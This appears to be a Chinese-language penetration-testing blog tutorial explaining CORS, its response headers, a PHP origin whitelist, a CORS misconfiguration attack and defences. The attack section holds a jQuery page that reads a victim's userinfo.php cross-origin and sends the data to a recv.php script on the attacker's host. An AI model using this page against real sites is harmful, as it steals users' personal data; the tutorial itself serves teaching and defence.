CORS 跨域访问, 实现跨域的原理, CORS漏洞利用

CORS跨域, 实现跨域的原理, CORS漏洞利用

一, CORS跨域的原理

1. 跨域实验

202服务器:


$person = array(
    "name" => "John Doe",
    "age" => 30,
    "occupation" => "Developer"
);

$jsonString = json_encode($person);
echo $jsonString;
?>

200服务器

DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="./jquery-3.4.1.min.js">script>
    <title>Documenttitle>
    <script>
        // 跨域请求202服务器
        $.get('http://192.168.112.202/cors.php', function(data){
            alert(data);
        });
    script>
head>
<body>body>html>

由200访问202, 发现没有弹窗, 观察浏览器中的请求头响应头:

请求头:
GET /cors.php HTTP/1.1
Host: 192.168.112.202
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Origin: http://192.168.112.200  # Origin源ip
Connection: keep-alive
Referer: http://192.168.112.200/
Pragma: no-cache
Cache-Control: no-cache

响应头:
HTTP/1.1 200 OK
Date: Mon, 06 Nov 2023 02:38:15 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

请求头有: Origin: http://192.168.112.200

观察控制台, 发现跨域错误:

Cross-Origin Request Blocked: 
The Same Origin Policy disallows reading the remote resource at http://192.168.112.202/cors.php. 
(Reason: CORS header ‘Access-Control-Allow-Origin’ missing). Status code: 200.

重新编辑服务器的php文件, 在php中添加响应头:


$person = array(
    "name" => "John Doe",
    "age" => 30,
    "occupation" => "Developer"
);

$jsonString = json_encode($person);

// 添加响应头, 设置允许跨域的来源
header("Access-Control-Allow-Origin: *");

// echo $jsonString;
echo $jsonString;
?>

再次请求发现可以顺利跨域并弹窗, 观察浏览器中的响应头:

HTTP/1.1 200 OK
Date: Mon, 06 Nov 2023 02:38:15 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Access-Control-Allow-Origin: *    # 服务器返回的响应头
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

多了一条: Access-Control-Allow-Origin: *, 这说明允许所有的Origin来源都可以跨域访问.

2. 允许跨域的一些响应头

Access-Control-Allow-Origin: * // 允许所有的Origin源
Access-Control-Allow-Origin: http://192.168.112.200 // 只允许的ip
Access-Control-Allow-0rigin: http://192.168.10.118:8070 // 只允许的ip和端口
Access-Control-Allow-Methods: POST,OPTIONS,GET // 允许的请求方法
Access-Control-Max-Age: 3600 // 生命周期
Access-Control-Allow-Headers: accept,x-requested-with,Content-Type // 允许接收的请求头
Access-Control-Allow-Credentials: true // 是否允许发送cookie

后端php也可以使用数组设置白名单, 允许多个跨域的源:

$list = array('http://192.168.112.201', 'http://192.168.112.203');
// $_SERVER['HTTP_ORIGIN'] 获取请求头的Origin信息
if (in array($_SERVER['HTTP_ORIGIN'], $list)){
    header("Access-Control-Allow-Origin:" . $_SERVER['HTTP_ORIGIN']);
    echo $jsonString;
}
else{
    die("Cross-Site Disallowd");
}

二, CORS跨域漏洞

当服务器后端没有对跨域严格限制ip时, 可以通过脚本对目标网站做跨域访问, 例如:

在200攻击者服务器的html中对202目标服务器的 userinfo.php 做跨域访问.

DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="./jquery-3.4.1.min.js">script>
    <title>Documenttitle>
    <script>
        $.get('http://192.168.112.202/userinfo.php', function(data){
            //alert(data);
            location.href = "http://192.168.112.200/recv.php?value=" 
                            + JSON.stringify(data) + "&referer=" + document.referrer;
        });
    script>
head>
<body>
    
body>
html>

当用户点击恶意链接访问200服务器上的html时, 先跨域请求 userinfo.php 获取用户数据 data, 再将 data 发送回200服务器的 recv.php 进行存储.

三, 防御CORS漏洞

CORS漏洞主要是由于配置错误而引起的。所以,预防漏洞变成了一个配置问题。
下面介绍了一些针对CORS攻击的有效防御措施.

1.正确配置跨域请求

如果Web资源包合敏感信息,则应在Access-Control-Allow-Origin标头中正确指定来源

2只允许信任的网站.

看起来似平很明显,但是Access-Control-Allow-Origin中指定的来源只能是受信任的站点。
特别是,使用通配符来表示允许的跨域请求的来源而不进行验证很容易被利用,应该避免。

3.避免将null列入白名单.

避免使用 Access-Control-Allow-Origin: null
来自内部文档和沙盒请求的跨域资源调用可以指定nul来源。应针对私有和公共服务器的可信来源正确定义CORS头。

4.避免在内部网络中使用通配符.

避免在内部网络中使用通配符,当内部浏览器可以访问不受信任的外部域时,仅靠信任网络配置来保护内部资源是不够的。

5.CORS不能替代服务器端安全策略

CORS定义了浏览器的行为,绝不能营代服务器端对敏感教据的保护-攻击者可以直接从任何可信来源伪造请求。
因此,除了正确配置的CORS之外,Web服务器还应继续对敏感数据应用保护,例如身份验证和会话管理。

你可能感兴趣的:(渗透测试,网络,csrf,渗透测试)